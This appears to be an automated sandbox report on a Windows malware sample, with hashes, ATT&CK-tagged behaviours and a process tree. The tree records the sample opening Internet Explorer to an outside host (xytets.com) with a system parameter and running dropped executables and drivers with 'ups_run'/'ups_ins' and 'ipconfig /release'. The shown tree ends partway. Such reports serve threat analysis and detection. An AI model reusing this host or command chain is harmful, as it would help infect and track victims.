2a0b4410fc2127bee847e5f92bc5484f837b7611a5b2c40cd6cfc30f9f3ba84a

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
16/08/2026, 22:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe
Size 243KB
Sample260816-13mdesythy
SHA256 2a0b4410fc2127bee847e5f92bc5484f837b7611a5b2c40cd6cfc30f9f3ba84a
MD5 09dfd21a6bcb950bfdd5c340f3c41ec7
SHA1 be5063aade1d910126fe2bfd46856a41cc8ec41a
SHA512 34bae1f4ec12b67af600c74d5bd967a05505d7f23afbd06ec03af08b46dcb08b5a7244499709738f0815ef92b15be9375abb5b8c1ea0a994af1a97936d30b39e
SSDEEP 3072:1CvMsLLOJhH7yBa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7f:4vMsLaOa3lLNngoqRttA7f
TLSH
T176345A017281C031E7160B78045AE7A1467EBC384BA5E5CFF7A83B796A712D3A93725F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
1188	CP.exe
4560	mgeywqojgb.exe
4312	CP.exe
2688	CP.exe
1268	i_mgeywqojgb.exe
4840	ljdbvtolge.sys
2980	CP.exe
4272	aytqljdbvt.exe
1540	CP.exe
1976	CP.exe
1372	i_aytqljdbvt.exe
3288	tqlidbvtnl.sys
2388	CP.exe
2960	lfdyvqoiga.exe
2012	CP.exe
3424	CP.exe
4012	i_lfdyvqoiga.exe
4556	ifaysqkica.sys
4640	CP.exe
4192	avsnifaysq.exe
648	CP.exe
1636	CP.exe
2876	i_avsnifaysq.exe
2720	fdxvpnifax.sys
3316	CP.exe
4264	mkfcxupnhf.exe
3312	CP.exe
2096	CP.exe
3372	i_mkfcxupnhf.exe
4336	pnhfzxspki.sys
3344	CP.exe
5100	hcaupnhfzx.exe
4876	CP.exe
3276	CP.exe
1508	i_hcaupnhfzx.exe
2700	ecxupmhfzx.sys
4788	CP.exe
3300	urmkecwupm.exe
5012	CP.exe
1440	CP.exe
4160	i_urmkecwupm.exe
1212	omhezxrpjh.sys
4180	CP.exe
768	eywrmgezwr.exe
5084	CP.exe
740	CP.exe
5108	i_eywrmgezwr.exe
3380	jhbztrmjeb.sys
4840	CP.exe
3840	tomgeywqoj.exe
3332	CP.exe
3336	CP.exe
2432	i_tomgeywqoj.exe
1680	vtolgeywqo.sys
1372	CP.exe
2920	ojgbztoigb.exe
4412	CP.exe
220	CP.exe
216	i_ojgbztoigb.exe
976	lgdyvqoiga.sys
2076	CP.exe
1588	aytqljdbvt.exe
5072	CP.exe
1220	CP.exe

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mhezxrpjhb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bwtomgeywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bztrljdbwt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_aytqljdbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hcaupnhfzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	urmkecwupm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fdxvpkicau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bztrljdbwt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mkfcxupnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_urmkecwupm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ojgbztoigb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fdxvpkicau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nlfdyvqoig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aytqljdbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	avsnifaysq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mkfcxupnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tomgeywqoj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tomgeywqoj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aytqljdbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tqljdbvtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nlfdyvqoig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mgeywqojgb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_avsnifaysq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bwtomgeywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hcaupnhfzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eywrmgezwr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	causmkfcxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mhezxrpjhb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mgeywqojgb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_lfdyvqoiga.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ojgbztoigb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nlfdxvqnig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_eywrmgezwr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nlfdxvqnig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_causmkfcxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	smkecxupnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_smkecxupnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tqljdbvtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lfdyvqoiga.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3240	ipconfig.exe
616	ipconfig.exe
4888	ipconfig.exe
1992	ipconfig.exe
3240	ipconfig.exe
1964	ipconfig.exe
3124	ipconfig.exe
412	ipconfig.exe
4348	ipconfig.exe
1388	ipconfig.exe
1480	ipconfig.exe
2448	ipconfig.exe
2336	ipconfig.exe
4012	ipconfig.exe
1548	ipconfig.exe
2188	ipconfig.exe
1392	ipconfig.exe
2292	ipconfig.exe
4068	ipconfig.exe
4892	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 28 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000038c348ccfe25a9409059e8edcce379ff000000000200000000001066000000010000200000009275a5bd628fb8fb32ecdc9a4c430af055846537bca770a3ed47c65e60f8d58c000000000e80000000020000200000008b52547fd806cfff703aaa32ad1f54b916e47d616e1daece4c3e18fb6e482f7420000000be1ab4169b3333717c25e06e41b68995095c35eb5e1073f81a71c3c9411fe5d040000000e90eef5c2ae0aeaab63b110ff452c3be64036926be4b704020f1717ea703ad19724d23b1d6b8a6d6e2affe4cf1f0b3b756fcc9ecd8c6615d810709edc7c97dc8	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000038c348ccfe25a9409059e8edcce379ff000000000200000000001066000000010000200000009e3ac84a0e877d83a224b99b964912e2cc95923df349097492efa69dce396dfd000000000e8000000002000020000000189244378c011c809b3ef6109d68eeddb3b73b47058448396ee74330efb3142420000000f8d3d6e7b8a2d016f3257db2d8e2fdfe354cae17a2c2040331f1d69be3aed2d040000000fa73b0bd1352b8eab6fbeccf98c8108022266c2c6b3f21ac4abb1f98dac0a60890ce2025f0b01cdca64fcfc172708f14c86eba5ba653f1615f73cad2c57efe95	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = b04cca84d42ddd01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "728840759"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31272396"	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = c0afc084d42ddd01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "493683224"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{4D857A39-99BF-11F1-9F3C-EE6109102029} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	1268	i_mgeywqojgb.exe
Token: SeDebugPrivilege	1372	i_aytqljdbvt.exe
Token: SeDebugPrivilege	4012	i_lfdyvqoiga.exe
Token: SeDebugPrivilege	2876	i_avsnifaysq.exe
Token: SeDebugPrivilege	3372	i_mkfcxupnhf.exe
Token: SeDebugPrivilege	1508	i_hcaupnhfzx.exe
Token: SeDebugPrivilege	4160	i_urmkecwupm.exe
Token: SeDebugPrivilege	5108	i_eywrmgezwr.exe
Token: SeDebugPrivilege	2432	i_tomgeywqoj.exe
Token: SeDebugPrivilege	216	i_ojgbztoigb.exe
Token: SeDebugPrivilege	1244	i_aytqljdbvt.exe
Token: SeDebugPrivilege	4972	i_nlfdxvqnig.exe
Token: SeDebugPrivilege	4004	i_fdxvpkicau.exe
Token: SeDebugPrivilege	3212	i_causmkfcxu.exe
Token: SeDebugPrivilege	2952	i_smkecxupnh.exe
Token: SeDebugPrivilege	4456	i_mhezxrpjhb.exe
Token: SeDebugPrivilege	5004	i_bwtomgeywq.exe
Token: SeDebugPrivilege	1768	i_bztrljdbwt.exe
Token: SeDebugPrivilege	1616	i_tqljdbvtnl.exe
Token: SeDebugPrivilege	4612	i_nlfdyvqoig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1528	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1528	iexplore.exe
1528	iexplore.exe
1584	IEXPLORE.EXE
1584	IEXPLORE.EXE
1584	IEXPLORE.EXE
1584	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 4308 wrote to memory of 1528	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	86
PID 1528 wrote to memory of 1584	1528	iexplore.exe	87
PID 4308 wrote to memory of 1188	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	88
PID 4560 wrote to memory of 4312	4560	mgeywqojgb.exe	91
PID 4308 wrote to memory of 2688	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	95
PID 4308 wrote to memory of 2980	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	99
PID 4272 wrote to memory of 1540	4272	aytqljdbvt.exe	101
PID 4308 wrote to memory of 1976	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	104
PID 4308 wrote to memory of 2388	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	112
PID 2960 wrote to memory of 2012	2960	lfdyvqoiga.exe	114
PID 4308 wrote to memory of 3424	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	118
PID 4308 wrote to memory of 4640	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	125
PID 4192 wrote to memory of 648	4192	avsnifaysq.exe	127
PID 4308 wrote to memory of 1636	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	130
PID 4308 wrote to memory of 3316	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	136
PID 4264 wrote to memory of 3312	4264	mkfcxupnhf.exe	138
PID 4308 wrote to memory of 2096	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	141
PID 4308 wrote to memory of 3344	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	145
PID 5100 wrote to memory of 4876	5100	hcaupnhfzx.exe	147
PID 4308 wrote to memory of 3276	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	150
PID 4308 wrote to memory of 4788	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	154
PID 3300 wrote to memory of 5012	3300	urmkecwupm.exe	156
PID 4308 wrote to memory of 1440	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	159
PID 4308 wrote to memory of 4180	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	163
PID 768 wrote to memory of 5084	768	eywrmgezwr.exe	165
PID 4308 wrote to memory of 740	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	168
PID 4308 wrote to memory of 4840	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	173
PID 3840 wrote to memory of 3332	3840	tomgeywqoj.exe	175
PID 4308 wrote to memory of 3336	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	178
PID 4308 wrote to memory of 1372	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	182
PID 2920 wrote to memory of 4412	2920	ojgbztoigb.exe	184
PID 4308 wrote to memory of 220	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	187
PID 4308 wrote to memory of 2076	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	192
PID 1588 wrote to memory of 5072	1588	aytqljdbvt.exe	194
PID 4308 wrote to memory of 1220	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	197
PID 4308 wrote to memory of 3764	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	201
PID 4816 wrote to memory of 1404	4816	nlfdxvqnig.exe	203
PID 4308 wrote to memory of 4664	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	206
PID 4308 wrote to memory of 4748	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	210
PID 4508 wrote to memory of 552	4508	fdxvpkicau.exe	212
PID 4308 wrote to memory of 632	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	215
PID 4308 wrote to memory of 1452	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	219
PID 1748 wrote to memory of 1964	1748	causmkfcxu.exe	221
PID 4308 wrote to memory of 1888	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	224
PID 4308 wrote to memory of 536	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	228
PID 1420 wrote to memory of 4628	1420	smkecxupnh.exe	230
PID 4308 wrote to memory of 3736	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	233
PID 4308 wrote to memory of 1676	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	237
PID 4184 wrote to memory of 2948	4184	mhezxrpjhb.exe	239
PID 4308 wrote to memory of 4228	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	242
PID 4308 wrote to memory of 3224	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	246
PID 64 wrote to memory of 612	64	bwtomgeywq.exe	248
PID 4308 wrote to memory of 4220	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	251
PID 4308 wrote to memory of 1164	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	255
PID 2712 wrote to memory of 4332	2712	bztrljdbwt.exe	257
PID 4308 wrote to memory of 1680	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	260
PID 4308 wrote to memory of 1128	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	264
PID 4828 wrote to memory of 3288	4828	tqljdbvtnl.exe	266
PID 4308 wrote to memory of 1016	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	269
PID 4308 wrote to memory of 4068	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	273
PID 780 wrote to memory of 748	780	nlfdyvqoig.exe	275
PID 4308 wrote to memory of 4764	4308	2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe	278

C:\Users\Admin\AppData\Local\Temp\2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-16_09dfd21a6bcb950bfdd5c340f3c41ec7_elex_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4308
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1528
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1528 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:1584
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\mgeywqojgb.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1188
- - C:\Temp\mgeywqojgb.exe
    C:\Temp\mgeywqojgb.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4560
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4312
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:616
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_mgeywqojgb.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2688
- - C:\Temp\i_mgeywqojgb.exe
    C:\Temp\i_mgeywqojgb.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1268
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\aytqljdbvt.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2980
- - C:\Temp\aytqljdbvt.exe
    C:\Temp\aytqljdbvt.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4272
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1540
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4888
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_aytqljdbvt.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1976
- - C:\Temp\i_aytqljdbvt.exe
    C:\Temp\i_aytqljdbvt.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1372
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\lfdyvqoiga.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2388
- - C:\Temp\lfdyvqoiga.exe
    C:\Temp\lfdyvqoiga.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2960
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2012
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:412
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_lfdyvqoiga.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3424
- - C:\Temp\i_lfdyvqoiga.exe
    C:\Temp\i_lfdyvqoiga.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4012
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\avsnifaysq.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4640
- - C:\Temp\avsnifaysq.exe
    C:\Temp\avsnifaysq.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4192
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:648
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2336
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_avsnifaysq.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1636
- - C:\Temp\i_avsnifaysq.exe
    C:\Temp\i_avsnifaysq.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2876
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\mkfcxupnhf.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3316
- - C:\Temp\mkfcxupnhf.exe
    C:\Temp\mkfcxupnhf.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4264
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3312
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1992
- C:\temp\CP.exe
